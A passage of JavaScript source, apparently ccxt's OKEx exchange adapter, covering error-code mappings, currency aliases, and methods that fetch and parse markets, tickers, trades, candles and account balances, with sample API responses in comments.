'35088': InvalidOrder, // Average amount error
'35089': InvalidOrder, // Price exceeds 100 thousand
'35090': ExchangeError, // No stop-limit orders available for cancelation
'35091': ExchangeError, // No trail orders available for cancellation
'35092': ExchangeError, // No iceberg orders available for cancellation
'35093': ExchangeError, // No trail orders available for cancellation
'35094': ExchangeError, // Stop-limit order last traded price error
'35095': BadRequest, // Instrument_id error
'35096': ExchangeError, // Algo order status error
'35097': ExchangeError, // Order status and order ID cannot exist at the same time
'35098': ExchangeError, // An order status or order ID must exist
'35099': ExchangeError, // Algo order ID error
// option
'36001': BadRequest, // Invalid underlying index.
'36002': BadRequest, // Instrument does not exist.
'36005': ExchangeError, // Instrument status is invalid.
'36101': AuthenticationError, // Account does not exist.
'36102': PermissionDenied, // Account status is invalid.
'36103': PermissionDenied, // Account is suspended due to ongoing liquidation.
'36104': PermissionDenied, // Account is not enabled for options trading.
'36105': PermissionDenied, // Please enable the account for option contract.
'36106': PermissionDenied, // Funds cannot be transferred in or out, as account is suspended.
'36107': PermissionDenied, // Funds cannot be transferred out within 30 minutes after option exercising or settlement.
'36108': InsufficientFunds, // Funds cannot be transferred in or out, as equity of the account is less than zero.
'36109': PermissionDenied, // Funds cannot be transferred in or out during option exercising or settlement.
'36201': PermissionDenied, // New order function is blocked.
'36202': PermissionDenied, // Account does not have permission to short option.
'36203': InvalidOrder, // Invalid format for client_oid.
'36204': ExchangeError, // Invalid format for request_id.
'36205': BadRequest, // Instrument id does not match underlying index.
'36206': BadRequest, // Order_id and client_oid can not be used at the same time.
'36207': InvalidOrder, // Either order price or fartouch price must be present.
'36208': InvalidOrder, // Either order price or size must be present.
'36209': InvalidOrder, // Either order_id or client_oid must be present.
'36210': InvalidOrder, // Either order_ids or client_oids must be present.
'36211': InvalidOrder, // Exceeding max batch size for order submission.
'36212': InvalidOrder, // Exceeding max batch size for oder cancellation.
'36213': InvalidOrder, // Exceeding max batch size for order amendment.
'36214': ExchangeError, // Instrument does not have valid bid/ask quote.
'36216': OrderNotFound, // Order does not exist.
'36217': InvalidOrder, // Order submission failed.
'36218': InvalidOrder, // Order cancellation failed.
'36219': InvalidOrder, // Order amendment failed.
'36220': InvalidOrder, // Order is pending cancel.
'36221': InvalidOrder, // Order qty is not valid multiple of lot size.
'36222': InvalidOrder, // Order price is breaching highest buy limit.
'36223': InvalidOrder, // Order price is breaching lowest sell limit.
'36224': InvalidOrder, // Exceeding max order size.
'36225': InvalidOrder, // Exceeding max open order count for instrument.
'36226': InvalidOrder, // Exceeding max open order count for underlying.
'36227': InvalidOrder, // Exceeding max open size across all orders for underlying
'36228': InvalidOrder, // Exceeding max available qty for instrument.
'36229': InvalidOrder, // Exceeding max available qty for underlying.
'36230': InvalidOrder, // Exceeding max position limit for underlying.
},
'broad': {
},
},
'precisionMode': TICK_SIZE,
'options': {
'fetchOHLCV': {
'type': 'Candles', // Candles or HistoryCandles
},
'createMarketBuyOrderRequiresPrice': true,
'fetchMarkets': [ 'spot', 'futures', 'swap', 'option' ],
'defaultType': 'spot', // 'account', 'spot', 'margin', 'futures', 'swap', 'option'
'auth': {
'time': 'public',
'currencies': 'private',
'instruments': 'public',
'rate': 'public',
'{instrument_id}/constituents': 'public',
},
},
'commonCurrencies': {
// OKEX refers to ERC20 version of Aeternity (AEToken)
'AE': 'AET', // https://github.com/ccxt/ccxt/issues/4981
'BOX': 'DefiBox',
'HOT': 'Hydro Protocol',
'HSR': 'HC',
'MAG': 'Maggie',
'YOYO': 'YOYOW',
'WIN': 'WinToken', // https://github.com/ccxt/ccxt/issues/5701
},
});
}
async fetchTime (params = {}) {
const response = await this.generalGetTime (params);
//
// {
// "iso": "2015-01-07T23:47:25.201Z",
// "epoch": 1420674445.201
// }
//
return this.parse8601 (this.safeString (response, 'iso'));
}
async fetchMarkets (params = {}) {
const types = this.safeValue (this.options, 'fetchMarkets');
let result = [];
for (let i = 0; i < types.length; i++) {
const markets = await this.fetchMarketsByType (types[i], params);
result = this.arrayConcat (result, markets);
}
return result;
}
parseMarkets (markets) {
const result = [];
for (let i = 0; i < markets.length; i++) {
result.push (this.parseMarket (markets[i]));
}
return result;
}
parseMarket (market) {
//
// spot markets
//
// {
// base_currency: "EOS",
// instrument_id: "EOS-OKB",
// min_size: "0.01",
// quote_currency: "OKB",
// size_increment: "0.000001",
// tick_size: "0.0001"
// }
//
// futures markets
//
// {
// instrument_id: "XRP-USD-200320",
// underlying_index: "XRP",
// quote_currency: "USD",
// tick_size: "0.0001",
// contract_val: "10",
// listing: "2020-03-06",
// delivery: "2020-03-20",
// trade_increment: "1",
// alias: "this_week",
// underlying: "XRP-USD",
// base_currency: "XRP",
// settlement_currency: "XRP",
// is_inverse: "true",
// contract_val_currency: "USD",
// }
//
// swap markets
//
// {
// instrument_id: "BSV-USD-SWAP",
// underlying_index: "BSV",
// quote_currency: "USD",
// coin: "BSV",
// contract_val: "10",
// listing: "2018-12-21T07:53:47.000Z",
// delivery: "2020-03-14T08:00:00.000Z",
// size_increment: "1",
// tick_size: "0.01",
// base_currency: "BSV",
// underlying: "BSV-USD",
// settlement_currency: "BSV",
// is_inverse: "true",
// contract_val_currency: "USD"
// }
//
// options markets
//
// {
// instrument_id: 'BTC-USD-200327-4000-C',
// underlying: 'BTC-USD',
// settlement_currency: 'BTC',
// contract_val: '0.1000',
// option_type: 'C',
// strike: '4000',
// tick_size: '0.0005',
// lot_size: '1.0000',
// listing: '2019-12-25T08:30:36.302Z',
// delivery: '2020-03-27T08:00:00.000Z',
// state: '2',
// trading_start_time: '2019-12-25T08:30:36.302Z',
// timestamp: '2020-03-13T08:05:09.456Z',
// }
//
const id = this.safeString (market, 'instrument_id');
let marketType = 'spot';
let spot = true;
let future = false;
let swap = false;
let option = false;
let baseId = this.safeString (market, 'base_currency');
let quoteId = this.safeString (market, 'quote_currency');
const contractVal = this.safeFloat (market, 'contract_val');
if (contractVal !== undefined) {
if ('option_type' in market) {
marketType = 'option';
spot = false;
option = true;
const underlying = this.safeString (market, 'underlying');
const parts = underlying.split ('-');
baseId = this.safeString (parts, 0);
quoteId = this.safeString (parts, 1);
} else {
marketType = 'swap';
spot = false;
swap = true;
const futuresAlias = this.safeString (market, 'alias');
if (futuresAlias !== undefined) {
swap = false;
future = true;
marketType = 'futures';
baseId = this.safeString (market, 'underlying_index');
}
}
}
const base = this.safeCurrencyCode (baseId);
const quote = this.safeCurrencyCode (quoteId);
const symbol = spot ? (base + '/' + quote) : id;
const lotSize = this.safeFloat2 (market, 'lot_size', 'trade_increment');
const precision = {
'amount': this.safeFloat (market, 'size_increment', lotSize),
'price': this.safeFloat (market, 'tick_size'),
};
const minAmount = this.safeFloat2 (market, 'min_size', 'base_min_size');
const active = true;
const fees = this.safeValue2 (this.fees, marketType, 'trading', {});
return this.extend (fees, {
'id': id,
'symbol': symbol,
'base': base,
'quote': quote,
'baseId': baseId,
'quoteId': quoteId,
'info': market,
'type': marketType,
'spot': spot,
'futures': future,
'swap': swap,
'option': option,
'active': active,
'precision': precision,
'limits': {
'amount': {
'min': minAmount,
'max': undefined,
},
'price': {
'min': precision['price'],
'max': undefined,
},
'cost': {
'min': precision['price'],
'max': undefined,
},
},
});
}
async fetchMarketsByType (type, params = {}) {
if (type === 'option') {
const underlying = await this.optionGetUnderlying (params);
let result = [];
for (let i = 0; i < underlying.length; i++) {
const response = await this.optionGetInstrumentsUnderlying ({
'underlying': underlying[i],
});
//
// options markets
//
// [
// {
// instrument_id: 'BTC-USD-200327-4000-C',
// underlying: 'BTC-USD',
// settlement_currency: 'BTC',
// contract_val: '0.1000',
// option_type: 'C',
// strike: '4000',
// tick_size: '0.0005',
// lot_size: '1.0000',
// listing: '2019-12-25T08:30:36.302Z',
// delivery: '2020-03-27T08:00:00.000Z',
// state: '2',
// trading_start_time: '2019-12-25T08:30:36.302Z',
// timestamp: '2020-03-13T08:05:09.456Z',
// },
// ]
//
result = this.arrayConcat (result, response);
}
return this.parseMarkets (result);
} else if ((type === 'spot') || (type === 'futures') || (type === 'swap')) {
const method = type + 'GetInstruments';
const response = await this[method] (params);
//
// spot markets
//
// [
// {
// base_currency: "EOS",
// instrument_id: "EOS-OKB",
// min_size: "0.01",
// quote_currency: "OKB",
// size_increment: "0.000001",
// tick_size: "0.0001"
// }
// ]
//
// futures markets
//
// [
// {
// instrument_id: "XRP-USD-200320",
// underlying_index: "XRP",
// quote_currency: "USD",
// tick_size: "0.0001",
// contract_val: "10",
// listing: "2020-03-06",
// delivery: "2020-03-20",
// trade_increment: "1",
// alias: "this_week",
// underlying: "XRP-USD",
// base_currency: "XRP",
// settlement_currency: "XRP",
// is_inverse: "true",
// contract_val_currency: "USD",
// }
// ]
//
// swap markets
//
// [
// {
// instrument_id: "BSV-USD-SWAP",
// underlying_index: "BSV",
// quote_currency: "USD",
// coin: "BSV",
// contract_val: "10",
// listing: "2018-12-21T07:53:47.000Z",
// delivery: "2020-03-14T08:00:00.000Z",
// size_increment: "1",
// tick_size: "0.01",
// base_currency: "BSV",
// underlying: "BSV-USD",
// settlement_currency: "BSV",
// is_inverse: "true",
// contract_val_currency: "USD"
// }
// ]
//
return this.parseMarkets (response);
} else {
throw new NotSupported (this.id + ' fetchMarketsByType does not support market type ' + type);
}
}
async fetchCurrencies (params = {}) {
// has['fetchCurrencies'] is currently set to false
// despite that their docs say these endpoints are public:
// https://www.okex.com/api/account/v3/withdrawal/fee
// https://www.okex.com/api/account/v3/currencies
// it will still reply with { "code":30001, "message": "OK-ACCESS-KEY header is required" }
// if you attempt to access it without authentication
const response = await this.accountGetCurrencies (params);
//
// [
// {
// name: '',
// currency: 'BTC',
// can_withdraw: '1',
// can_deposit: '1',
// min_withdrawal: '0.0100000000000000'
// },
// ]
//
const result = {};
for (let i = 0; i < response.length; i++) {
const currency = response[i];
const id = this.safeString (currency, 'currency');
const code = this.safeCurrencyCode (id);
const precision = 8; // default precision, todo: fix "magic constants"
const name = this.safeString (currency, 'name');
const canDeposit = this.safeInteger (currency, 'can_deposit');
const canWithdraw = this.safeInteger (currency, 'can_withdraw');
const active = (canDeposit && canWithdraw) ? true : false;
result[code] = {
'id': id,
'code': code,
'info': currency,
'type': undefined,
'name': name,
'active': active,
'fee': undefined, // todo: redesign
'precision': precision,
'limits': {
'amount': { 'min': undefined, 'max': undefined },
'price': { 'min': undefined, 'max': undefined },
'cost': { 'min': undefined, 'max': undefined },
'withdraw': {
'min': this.safeFloat (currency, 'min_withdrawal'),
'max': undefined,
},
},
};
}
return result;
}
async fetchOrderBook (symbol, limit = undefined, params = {}) {
await this.loadMarkets ();
const market = this.market (symbol);
let method = market['type'] + 'GetInstrumentsInstrumentId';
method += (market['type'] === 'swap') ? 'Depth' : 'Book';
const request = {
'instrument_id': market['id'],
};
if (limit !== undefined) {
request['size'] = limit; // max 200
}
const response = await this[method] (this.extend (request, params));
//
// { asks: [ ["0.02685268", "0.242571", "1"],
// ["0.02685493", "0.164085", "1"],
// ...
// ["0.02779", "1.039", "1"],
// ["0.027813", "0.0876", "1"] ],
// bids: [ ["0.02684052", "10.371849", "1"],
// ["0.02684051", "3.707", "4"],
// ...
// ["0.02634963", "0.132934", "1"],
// ["0.02634962", "0.264838", "2"] ],
// timestamp: "2018-12-17T20:24:16.159Z" }
//
const timestamp = this.parse8601 (this.safeString (response, 'timestamp'));
return this.parseOrderBook (response, timestamp);
}
parseTicker (ticker, market = undefined) {
//
// { best_ask: "0.02665472",
// best_bid: "0.02665221",
// instrument_id: "ETH-BTC",
// product_id: "ETH-BTC",
// last: "0.02665472",
// ask: "0.02665472", // missing in the docs
// bid: "0.02665221", // not mentioned in the docs
// open_24h: "0.02645482",
// high_24h: "0.02714633",
// low_24h: "0.02614109",
// base_volume_24h: "572298.901923",
// timestamp: "2018-12-17T21:20:07.856Z",
// quote_volume_24h: "15094.86831261" }
//
const timestamp = this.parse8601 (this.safeString (ticker, 'timestamp'));
let symbol = undefined;
const marketId = this.safeString (ticker, 'instrument_id');
if (marketId in this.markets_by_id) {
market = this.markets_by_id[marketId];
symbol = market['symbol'];
} else if (marketId !== undefined) {
const parts = marketId.split ('-');
const numParts = parts.length;
if (numParts === 2) {
const [ baseId, quoteId ] = parts;
const base = this.safeCurrencyCode (baseId);
const quote = this.safeCurrencyCode (quoteId);
symbol = base + '/' + quote;
} else {
symbol = marketId;
}
}
if ((symbol === undefined) && (market !== undefined)) {
symbol = market['symbol'];
}
const last = this.safeFloat (ticker, 'last');
const open = this.safeFloat (ticker, 'open_24h');
return {
'symbol': symbol,
'timestamp': timestamp,
'datetime': this.iso8601 (timestamp),
'high': this.safeFloat (ticker, 'high_24h'),
'low': this.safeFloat (ticker, 'low_24h'),
'bid': this.safeFloat (ticker, 'best_bid'),
'bidVolume': this.safeFloat (ticker, 'best_bid_size'),
'ask': this.safeFloat (ticker, 'best_ask'),
'askVolume': this.safeFloat (ticker, 'best_ask_size'),
'vwap': undefined,
'open': open,
'close': last,
'last': last,
'previousClose': undefined,
'change': undefined,
'percentage': undefined,
'average': undefined,
'baseVolume': this.safeFloat (ticker, 'base_volume_24h'),
'quoteVolume': this.safeFloat (ticker, 'quote_volume_24h'),
'info': ticker,
};
}
async fetchTicker (symbol, params = {}) {
await this.loadMarkets ();
const market = this.market (symbol);
const method = market['type'] + 'GetInstrumentsInstrumentIdTicker';
const request = {
'instrument_id': market['id'],
};
const response = await this[method] (this.extend (request, params));
//
// { best_ask: "0.02665472",
// best_bid: "0.02665221",
// instrument_id: "ETH-BTC",
// product_id: "ETH-BTC",
// last: "0.02665472",
// ask: "0.02665472",
// bid: "0.02665221",
// open_24h: "0.02645482",
// high_24h: "0.02714633",
// low_24h: "0.02614109",
// base_volume_24h: "572298.901923",
// timestamp: "2018-12-17T21:20:07.856Z",
// quote_volume_24h: "15094.86831261" }
//
return this.parseTicker (response);
}
async fetchTickersByType (type, symbols = undefined, params = {}) {
await this.loadMarkets ();
const method = type + 'GetInstrumentsTicker';
const response = await this[method] (params);
const result = {};
for (let i = 0; i < response.length; i++) {
const ticker = this.parseTicker (response[i]);
const symbol = ticker['symbol'];
result[symbol] = ticker;
}
return this.filterByArray (result, 'symbol', symbols);
}
async fetchTickers (symbols = undefined, params = {}) {
const defaultType = this.safeString2 (this.options, 'fetchTickers', 'defaultType');
const type = this.safeString (params, 'type', defaultType);
return await this.fetchTickersByType (type, symbols, this.omit (params, 'type'));
}
parseTrade (trade, market = undefined) {
//
// fetchTrades (public)
//
// spot trades
//
// {
// time: "2018-12-17T23:31:08.268Z",
// timestamp: "2018-12-17T23:31:08.268Z",
// trade_id: "409687906",
// price: "0.02677805",
// size: "0.923467",
// side: "sell"
// }
//
// futures trades, swap trades
//
// {
// trade_id: "1989230840021013",
// side: "buy",
// price: "92.42",
// qty: "184", // missing in swap markets
// size: "5", // missing in futures markets
// timestamp: "2018-12-17T23:26:04.613Z"
// }
//
// fetchOrderTrades (private)
//
// spot trades, margin trades
//
// {
// "created_at":"2019-03-15T02:52:56.000Z",
// "exec_type":"T", // whether the order is taker or maker
// "fee":"0.00000082",
// "instrument_id":"BTC-USDT",
// "ledger_id":"3963052721",
// "liquidity":"T", // whether the order is taker or maker
// "order_id":"2482659399697408",
// "price":"3888.6",
// "product_id":"BTC-USDT",
// "side":"buy",
// "size":"0.00055306",
// "timestamp":"2019-03-15T02:52:56.000Z"
// },
//
// futures trades, swap trades
//
// {
// "trade_id":"197429674631450625",
// "instrument_id":"EOS-USD-SWAP",
// "order_id":"6a-7-54d663a28-0",
// "price":"3.633",
// "order_qty":"1.0000",
// "fee":"-0.000551",
// "created_at":"2019-03-21T04:41:58.0Z", // missing in swap trades
// "timestamp":"2019-03-25T05:56:31.287Z", // missing in futures trades
// "exec_type":"M", // whether the order is taker or maker
// "side":"short", // "buy" in futures trades
// }
//
let symbol = undefined;
const marketId = this.safeString (trade, 'instrument_id');
let base = undefined;
let quote = undefined;
if (marketId in this.markets_by_id) {
market = this.markets_by_id[marketId];
symbol = market['symbol'];
base = market['base'];
quote = market['quote'];
} else if (marketId !== undefined) {
const parts = marketId.split ('-');
const numParts = parts.length;
if (numParts === 2) {
const [ baseId, quoteId ] = parts;
base = this.safeCurrencyCode (baseId);
quote = this.safeCurrencyCode (quoteId);
symbol = base + '/' + quote;
} else {
symbol = marketId;
}
}
if ((symbol === undefined) && (market !== undefined)) {
symbol = market['symbol'];
base = market['base'];
quote = market['quote'];
}
const timestamp = this.parse8601 (this.safeString2 (trade, 'timestamp', 'created_at'));
const price = this.safeFloat (trade, 'price');
let amount = this.safeFloat2 (trade, 'size', 'qty');
amount = this.safeFloat (trade, 'order_qty', amount);
let takerOrMaker = this.safeString2 (trade, 'exec_type', 'liquidity');
if (takerOrMaker === 'M') {
takerOrMaker = 'maker';
} else if (takerOrMaker === 'T') {
takerOrMaker = 'taker';
}
const side = this.safeString (trade, 'side');
let cost = undefined;
if (amount !== undefined) {
if (price !== undefined) {
cost = amount * price;
}
}
const feeCost = this.safeFloat (trade, 'fee');
let fee = undefined;
if (feeCost !== undefined) {
const feeCurrency = (side === 'buy') ? base : quote;
fee = {
// fee is either a positive number (invitation rebate)
// or a negative number (transaction fee deduction)
// therefore we need to invert the fee
// more about it https://github.com/ccxt/ccxt/issues/5909
'cost': -feeCost,
'currency': feeCurrency,
};
}
const orderId = this.safeString (trade, 'order_id');
return {
'info': trade,
'timestamp': timestamp,
'datetime': this.iso8601 (timestamp),
'symbol': symbol,
'id': this.safeString2 (trade, 'trade_id', 'ledger_id'),
'order': orderId,
'type': undefined,
'takerOrMaker': takerOrMaker,
'side': side,
'price': price,
'amount': amount,
'cost': cost,
'fee': fee,
};
}
async fetchTrades (symbol, since = undefined, limit = undefined, params = {}) {
await this.loadMarkets ();
const market = this.market (symbol);
const method = market['type'] + 'GetInstrumentsInstrumentIdTrades';
if ((limit === undefined) || (limit > 100)) {
limit = 100; // maximum = default = 100
}
const request = {
'instrument_id': market['id'],
'limit': limit,
// from: 'id',
// to: 'id',
};
const response = await this[method] (this.extend (request, params));
//
// spot markets
//
// [
// {
// time: "2018-12-17T23:31:08.268Z",
// timestamp: "2018-12-17T23:31:08.268Z",
// trade_id: "409687906",
// price: "0.02677805",
// size: "0.923467",
// side: "sell"
// }
// ]
//
// futures markets, swap markets
//
// [
// {
// trade_id: "1989230840021013",
// side: "buy",
// price: "92.42",
// qty: "184", // missing in swap markets
// size: "5", // missing in futures markets
// timestamp: "2018-12-17T23:26:04.613Z"
// }
// ]
//
return this.parseTrades (response, market, since, limit);
}
parseOHLCV (ohlcv, market = undefined) {
//
// spot markets
//
// {
// close: "0.02684545",
// high: "0.02685084",
// low: "0.02683312",
// open: "0.02683894",
// time: "2018-12-17T20:28:00.000Z",
// volume: "101.457222"
// }
//
// futures markets
//
// [
// 1545072720000,
// 0.3159,
// 0.3161,
// 0.3144,
// 0.3149,
// 22886,
// 725179.26172331,
// ]
//
if (Array.isArray (ohlcv)) {
const numElements = ohlcv.length;
const volumeIndex = (numElements > 6) ? 6 : 5;
let timestamp = this.safeValue (ohlcv, 0);
if (typeof timestamp === 'string') {
timestamp = this.parse8601 (timestamp);
}
return [
timestamp, // timestamp
this.safeFloat (ohlcv, 1), // Open
this.safeFloat (ohlcv, 2), // High
this.safeFloat (ohlcv, 3), // Low
this.safeFloat (ohlcv, 4), // Close
// this.safeFloat (ohlcv, 5), // Quote Volume
// this.safeFloat (ohlcv, 6), // Base Volume
this.safeFloat (ohlcv, volumeIndex), // Volume, okex will return base volume in the 7th element for future markets
];
} else {
return [
this.parse8601 (this.safeString (ohlcv, 'time')),
this.safeFloat (ohlcv, 'open'), // Open
this.safeFloat (ohlcv, 'high'), // High
this.safeFloat (ohlcv, 'low'), // Low
this.safeFloat (ohlcv, 'close'), // Close
this.safeFloat (ohlcv, 'volume'), // Base Volume
];
}
}
async fetchOHLCV (symbol, timeframe = '1m', since = undefined, limit = undefined, params = {}) {
await this.loadMarkets ();
const market = this.market (symbol);
const duration = this.parseTimeframe (timeframe);
const request = {
'instrument_id': market['id'],
'granularity': this.timeframes[timeframe],
};
const options = this.safeValue (this.options, 'fetchOHLCV', {});
const defaultType = this.safeString (options, 'type', 'Candles'); // Candles or HistoryCandles
const type = this.safeString (params, 'type', defaultType);
params = this.omit (params, 'type');
const method = market['type'] + 'GetInstrumentsInstrumentId' + type;
if (type === 'Candles') {
if (since !== undefined) {
if (limit !== undefined) {
request['end'] = this.iso8601 (this.sum (since, limit * duration * 1000));
}
request['start'] = this.iso8601 (since);
} else {
if (limit !== undefined) {
const now = this.milliseconds ();
request['start'] = this.iso8601 (now - limit * duration * 1000);
request['end'] = this.iso8601 (now);
}
}
} else if (type === 'HistoryCandles') {
if (market['option']) {
throw new NotSupported (this.id + ' fetchOHLCV does not have ' + type + ' for ' + market['type'] + ' markets');
}
if (since !== undefined) {
if (limit === undefined) {
limit = 300; // default
}
request['start'] = this.iso8601 (this.sum (since, limit * duration * 1000));
request['end'] = this.iso8601 (since);
} else {
if (limit !== undefined) {
const now = this.milliseconds ();
request['end'] = this.iso8601 (now - limit * duration * 1000);
request['start'] = this.iso8601 (now);
}
}
}
const response = await this[method] (this.extend (request, params));
//
// spot markets
//
// [
// {
// close: "0.02683401",
// high: "0.02683401",
// low: "0.02683401",
// open: "0.02683401",
// time: "2018-12-17T23:47:00.000Z",
// volume: "0"
// },
// {
// close: "0.02684545",
// high: "0.02685084",
// low: "0.02683312",
// open: "0.02683894",
// time: "2018-12-17T20:28:00.000Z",
// volume: "101.457222"
// }
// ]
//
// futures
//
// [
// [
// 1545090660000,
// 0.3171,
// 0.3174,
// 0.3171,
// 0.3173,
// 1648,
// 51930.38579450868
// ],
// [
// 1545072720000,
// 0.3159,
// 0.3161,
// 0.3144,
// 0.3149,
// 22886,
// 725179.26172331
// ]
// ]
//
return this.parseOHLCVs (response, market, timeframe, since, limit);
}
parseAccountBalance (response) {
//
// account
//
// [
// {
// balance: 0,
// available: 0,
// currency: "BTC",
// hold: 0
// },
// {
// balance: 0,
// available: 0,
// currency: "ETH",
// hold: 0
// }
// ]
//
// spot
//
// [
// {
// frozen: "0",
// hold: "0",
// id: "2149632",
// currency: "BTC",
// balance: "0.0000000497717339",
// available: "0.0000000497717339",
// holds: "0"
// },
// {
// frozen: "0",
// hold: "0",
// id: "2149632",
// currency: "ICN",
// balance: "0.00000000925",
// available: "0.00000000925",
// holds: "0"
// }
// ]
//
const result = { 'info': response };
for (let i = 0; i < response.length; i++) {
const balance = response[i];
const currencyId = this.safeString (balance, 'currency');
const code = this.safeCurrencyCode (currencyId);
const account = this.account ();
account['total'] = this.safeFloat (balance, 'balance');
account['used'] = this.safeFloat (balance, 'hold');
account['free'] = this.safeFloat (balance, 'available');
result[code] = account;
}
return this.parseBalance (result);
}
parseMarginBalance (response) {
//
// [
// {
// "currency:BTC": {
// "available":"0",
// "balance":"0",
// "borrowed":"0",
// "can_withdraw":"0",
// "frozen":"0",
// "hold":"0",
// "holds":"0",
// "lending_fee":"0"
// },
// "currency:USDT": {
// "available":"100",
// "balance":"100",
// "borrowed":"0",
// "can_withdraw":"100",
// "frozen":"0",
// "hold":"0",
// "holds":"0",
// "lending_fee":"0"
// },
// "instrument_id":"BTC-USDT",
// "liquidation_price":"0",
// "product_id":"BTC-USDT",
// "risk_rate":""
// },
// ]
//
const result = { 'info': response };
for (let i = 0; i < response.length; i++) {
const balance = response[i];
const marketId = this.safeString (balance, 'instrument_id');
const market = this.safeValue (this.markets_by_id, marketId);
let symbol = undefined;
if (market === undefined) {
const [ baseId, quoteId ] = marketId.split ('-');
const base = this.safeCurrencyCode (baseId);
const quote = this.safeCurrencyCode (quoteId);
symbol = base + '/' + quote;
} else {
symbol = market['symbol'];
}
const omittedBalance = this.omit (balance, [
'instrument_id',
'liquidation_price',
'product_id',
'risk_rate',
'margin_ratio',
'maint_margin_ratio',
'tiers',
]);
const keys = Object.keys (omittedBalance);
const accounts = {};
for (let k = 0; k < keys.length; k++) {
const key = keys[k];
const marketBalance = balance[key];
if (key.indexOf (':') >= 0) {
const parts = key.split (':');
const currencyId = parts[1];
const code = this.safeCurrencyCode (currencyId);
const account = this.account ();
account['total'] = this.safeFloat (marketBalance, 'balance');
account['used'] = this.safeFloat (marketBalance, 'hold');
account['free'] = this.safeFloat (marketBalance, 'available');
accounts[code] = account;
} else {
throw new NotSupported (this.id + ' margin balance response format has changed!');
}
}
result[symbol] = this.parseBalance (accounts);
}
return result;
}
parseFuturesBalance (response) {
//
// {
// "info":{
// "eos":{
// "auto_margin":"0",
// "contracts": [
// {
// "available_qty":"40.37069445",
// "fixed_balance":"0",
// "instrument_id":"EOS-USD-190329",
// "margin_for_unfilled":"0",
// "margin_frozen":"0",
// "realized_pnl":"0",
// "unrealized_pnl":"0"
// },
// {
// "available_qty":"40.37069445",
// "fixed_balance":"14.54895721",
// "instrument_id":"EOS-USD-190628",
// "margin_for_unfilled":"0",
// "margin_frozen":"10.64042157",
// "realized_pnl":"-3.90853564",
// "unrealized_pnl":"-0.259"
// },
// ],
// "equity":"50.75220665",
// "margin_mode":"fixed",
// "total_avail_balance":"40.37069445"
// },
// }
// }
//
// their root field name is "info", so our info will contain their info
const result = { 'info': response };
const info = this.safeValue (response, 'info', {});
const ids = Object.keys (info);
for (let i = 0; i < ids.length; i++) {
const id = ids[i];
const code = this.safeCurrencyCode (id);
const balance = this.safeValue (info, id, {});
const account = this.account ();
const totalAvailBalance = this.safeFloat (balance, 'total_avail_balance');
if (this.safeString (balance, 'margin_mode') === 'fixed') {
const contracts = this.safeValue (balance, 'contracts', []);
let free = totalAvailBalance;
for (let i = 0; i < contracts.length; i++) {
const contract = contracts[i];
const fixedBalance = this.safeFloat (contract, 'fixed_balance');
const realizedPnl = this.safeFloat (contract, 'realized_pnl');
const marginFrozen = this.safeFloat (contract, 'margin_frozen');
const marginForUnfilled = this.safeFloat (contract, 'margin_for_unfilled');
const margin = this.sum (fixedBalance, realizedPnl) - marginFrozen - marginForUnfilled;
free = this.sum (free, margin);
}
account['free'] = free;
} else {
const realizedPnl = this.safeFloat (balance, 'realized_pnl');
const unrealizedPnl = this.safeFloat (balance, 'unrealized_pnl');
const marginFrozen = this.safeFloat (balance, 'margin_frozen');
const marginForUnfilled = this.safeFloat (balance, 'margin_for_unfilled');
account['free'] = this.sum (totalAvailBalance, realizedPnl, unrealizedPnl) - marginFrozen - marginForUnfilled;
}
// it may be incorrect to use total, free and used for swap accounts
account['total'] = this.safeFloat (balance, 'equity');
result[code] = account;
}
return this.parseBalance (result);
}
parseSwapBalance (response) {
//
// {
// "info": [
// {
// "equity":"3.0139",
// "fixed_balance":"0.0000",
// "instrument_id":"EOS-USD-SWAP",
// "margin":"0.5523",
// "margin_frozen":"0.0000",
// "margin_mode":"crossed",
// "margin_ratio":"1.0913",
// "realized_pnl":"-0.0006",
// "timestamp":"2019-03-25T03:46:10.336Z",
// "total_avail_balance":"3.0000",
// "unrealized_pnl":"0.0145"
// }
// ]
// }
//
// their root field name is "info", so our info will contain their info
const result = { 'info': response };
const info = this.safeValue (response, 'info', []);
for (let i = 0; i < info.length; i++) {
const balance = info[i];
const marketId = this.safeString (balance, 'instrument_id');
let symbol = marketId;
if (marketId in this.markets_by_id) {
symbol = this.markets_by_id[marketId]['symbol'];
}
const account = this.account ();
// it may be incorrect to use total, free and used for swap accounts
account['total'] = this.safeFloat (balance, 'equity');
account['free'] = this.safeFloat (balance, 'total_avail_balance');
result[symbol] = account;
}
return this.parseBalance (result);
}
async fetchBalance (params = {}) {
const defaultType = this.safeString2 (this.options, 'fetchBalance', 'defaultType');
const type = this.safeString (params, 'type', defaultType);
if (type === undefined) {
throw new ArgumentsRequired (this.id + " fetchBalance requires a type parameter (one of 'account', 'spot', 'margin', 'futures', 'swap')");
}
await this.loadMarkets ();
const suffix = (type === 'account') ? 'Wallet' : 'Accounts';
const method = type + 'Get' + suffix;
const query = this.omit (params, 'type');
const response = await this[method] (query);
//
// account
//
// [
// {
// balance: 0,
// available: 0,
// currency: "BTC",
// hold: 0
// },
// {
// balance: 0,
// available: 0,
// currency: "ETH",
// hold: 0
// }
// ]
//
// spot
//
// [
// {
// frozen: "0",
// hold: "0",
// id: "2149632",
// currency: "BTC",
// balance: "0.0000000497717339",
// available: "0.0000000497717339",
// holds: "0"
// },
// {
// frozen: "0",
// hold: "0",
// id: "2149632",
// currency: "ICN",
// balance: "0.00000000925",
// available: "0.00000000925",
// holds: "0"
// }
// ]
//
// margin
//
// [
// {
// "currency:BTC": {
// "available":"0",
// "balance":"0",
// "borrowed":"0",
// "can_withdraw":"0",
// "frozen":"0",
// "hold":"0",
// "holds":"0",
// "lending_fee":"0"
// },
// "currency:USDT": {
// "available":"100",
// "balance":"100",
// "borrowed":"0",
// "can_withdraw":"100",
// "frozen":"0",
// "hold":"0",
// "holds":"0",
// "lending_fee":"0"
// },
// "instrument_id":"BTC-USDT",
// "liquidation_price":"0",
// "product_id":"BTC-USDT",
// "risk_rate":""
// },
// ]
//
// futures
//
// {
// "info":{
// "eos":{
// "auto_margin":"0",
// "contracts": [
// {
// "available_qty":"40.37069445",
// "fixed_balance":"0",
// "instrument_id":"EOS-USD-190329",
// "margin_for_unfilled":"0",
// "margin_frozen":"0",
// "realized_pnl":"0",
// "unrealized_pnl":"0"
// },
// {
// "available_qty":"40.37069445",
// "fixed_balance":"14.54895721",
// "instrument_id":"EOS-USD-190628",
// "margin_for_unfilled":"0",
// "margin_frozen":"10.64042157",
// "realized_pnl":"-3.90853564",
// "unrealized_pnl":"-0.259"
// },
// ],
// "equity":"50.75220665",
// "margin_mode":"fixed",
// "total_avail_balance":"40.37069445"
// },
// }
// }
//
// swap
//
// {
// "info": [
// {
